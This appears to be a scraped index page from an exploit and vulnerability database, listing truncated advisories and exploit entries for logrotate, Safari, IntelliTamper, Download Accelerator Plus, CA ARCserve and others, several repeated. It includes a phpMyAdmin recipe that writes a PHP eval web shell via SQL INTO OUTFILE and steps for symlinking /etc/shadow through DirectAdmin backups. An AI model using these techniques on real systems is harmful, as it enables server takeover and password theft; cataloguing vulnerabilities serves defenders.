logrotate: Multiple vulnerabilities

Background logrotate rotates, compresses, and mails system logs. Description Multiple vulnerabilities have been discovered in logrotate. Please review the CVE identifiers referenced below for details. Impact A local attacker could use this flaw to truncate arbitrary system file, to change file...

OS X x64 Execute Command

Execute an arbitrary command This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 31 include Msf::Payload::Single def initializeinfo = supermergeinfoinfo, 'Name' = 'OS X x64 Execute...

phpmyadmin get shell four ways to summarize and repair-vulnerability warning-the black bar safety net

Method one: CREATE TABLE mysql.study 7on TEXT NOT NULL ; INSERT INTO mysql.study 7on VALUES '? php @eval$POST7on?& gt;'; SELECT 7onFROM study INTO OUTFILE 'E:/wamp/www/7.php'; ---- Or more simultaneously executed in the database: mysql create a table named: study, the field for the 7on, the 导出 到...

Apache Struts Remote Command Execution

This module exploits a remote command execution vulnerability in Apache Struts versions use exploit/multi/http/struts/codeexec msf undefinedcodeexec show actions ...actions... msf undefinedcodeexec set ACTION msf undefinedcodeexec show options ...show and set options... msf undefinedcodeexec run...

Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit

No description provided by source. !-- Apple Safari 4.0.5 parent.close memory corruption 0day Code Execution Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on: Apple Safari 4.0.5 / XP SP2 Polish Shellcode: Windows Execute Command calc Local: Yes Remote: Yes POPUP must be...

Apple Safari 4.0.5 parent.close() Code Execution

Tested on: Apple Safari 4.0.5 / XP SP2 Polish Shellcode: Windows Execute Command calc Local: Yes Remote: Yes POPUP must be enabled Ctrl+Shift+K Just for fun ; -- window.open"0day.htm"; //parent.close activation self.close;...

LDAP - Injection

Vurnerebility: LDAP Injection + Category : Implemented Web exploit + Category : Attack Technique + Author : mc2s3lector + dork : X/o" + Contact : www.yogyacarderlink.web.id + date : 4-2-10 + biGthank to : Allah SWT,jasakom,KeDai Computerworks,0n3-d4y n3ro,eplaciano, all.indonesian like a coding,...

DirectAdmin 1.33.6 - Symlink Security Bypass

Subject: DirectAdmin ln /etc/shadow to make symbolic link to shadow file in any dir after that go to Create/Restore Backups in direct and make Domains Directory: Backs up the backup file will be in /home/test/backups go there then Extract tar.gz file after extract go to...

Windows x64 Execute Command

Execute an arbitrary command Windows x64 This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 275 include Msf::Payload::Windows include Msf::Payload::Single def initializeinfo =...

DEBIAN-CVE-2008-3076

The Netrw plugin 125 in netrw.vim in Vim 7.2a.10 allows user-assisted attackers to execute arbitrary code via shell metacharacters in filenames used by the execute and system functions within the 1 mz and 2 mc commands, as demonstrated by the netrw.v2 and netrw.v3 test cases. NOTE: this issue...

IntelliTamper 2.07/2.08 (MAP File) Local SEH Overwrite Exploit

No description provided by source. !/usr/bin/python IntelliTamper 2.07/2.08 MAP File 0-day Local SEH Overwrite Exploit Bug discovered by cN4phux [email protected] Tested on: IntelliTamper 2.07/2.08 / win32 SP3 FR Shellcode: Windows Execute Command calc metasploit.com Here's the debugger output li...

IntelliTamper 2.07/2.08 (MAP File) Local SEH Overwrite Exploit

Exploit for unknown platform in category local exploits ============================================================== IntelliTamper 2.07/2.08 MAP File Local SEH Overwrite Exploit ============================================================== !/usr/bin/python IntelliTamper 2.07/2.08 MAP File 0-da...

IntelliTamper 2.07/2.08 (MAP File) 0-day Local SEH Overwrite Exploit

Hi webmaster, A nice Bug . . !/usr/bin/python IntelliTamper 2.07/2.08 MAP File 0-day Local SEH Overwrite Exploit Bug discovered by cN4phux [email protected] Tested on: IntelliTamper 2.07/2.08 / win32 SP3 FR Shellcode: Windows Execute Command calc metasploit.com Here's the debugger output like wha...

Fedora 8 : grip-3.2.0-24.fc8 (2008-9521)

Sun Nov 9 2008 Adrian Reber - 1:3.2.0-24 - fixed 'buffer overflow caused by large amount of CDDB replies' 470552 CVE-2005-0706 - Thu Oct 2 2008 Adrian Reber - 1:3.2.0-23 - fixed 'German Umlauts are shown incorrectly' 459394 not converting de.po and fr.po to UTF-8 anymore - Sat Aug 23 2008 Adrian...

Fedora 9 : grip-3.2.0-24.fc9 (2008-9604)

Sun Nov 9 2008 Adrian Reber - 1:3.2.0-24 - fixed 'buffer overflow caused by large amount of CDDB replies' 470552 CVE-2005-0706 - Thu Oct 2 2008 Adrian Reber - 1:3.2.0-23 - fixed 'German Umlauts are shown incorrectly' 459394 not converting de.po and fr.po to UTF-8 anymore - Sat Aug 23 2008 Adrian...

Download Accelerator Plus - DAP 8.x (m3u) Local BOF Exploit 0day

No description provided by source. !/usr/bin/python Download Accelerator Plus - DAP 8.x m3u 0day Local Buffer Overflow Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on: Download Accelerator Plus 8.6 / XP SP2 Polish Shellcode: Windows Execute Command calc Just for fun ;...

Download Accelerator Plus DAP 8.x - .m3u Local Buffer Overflow

Download Accelerator Plus DAP 8.x - .m3u Local Buffer Overflow !/usr/bin/python Download Accelerator Plus - DAP 8.x m3u 0day Local Buffer Overflow Exploit Bug discovered by Krystian Kloskowski h07 Tested on: Download Accelerator Plus 8.6 / XP SP2 Polish Shellcode: Windows Execute Command calc Jus...

CVE-2008-2841

Argument injection vulnerability in XChat 2.8.7b and earlier on Windows, when Internet Explorer is used, allows remote attackers to execute arbitrary commands via the --command parameter in an ircs:// URI...

caarcserve-overflow.txt

Tested on: - CA BrightStor ARCserve Backup r11.5 ftp://ftp.ca.com/priv/trial/BABr11/BABLDr115/BABLDr115.zip - IE 6 - XP SP2 Polish Details:.. Filename: CA\DSM\bin\ListCtrl.ocx File description: Unicenter DSM r11 List Control ATX CLSID: BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3 ProgID:...

CA BrightStor ARCserve Backup r11.5 ActiveX Remote BOF Exploit 0day

No description provided by source. HTML !-- CA BrightStor ARCserve Backup r11.5 AddColumn 0day ActiveX Remote Buffer Overflow Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on: - CA BrightStor ARCserve Backup r11.5 ftp://ftp.ca.com/priv/trial/BABr11/BABLDr115/BABLDr115.zi...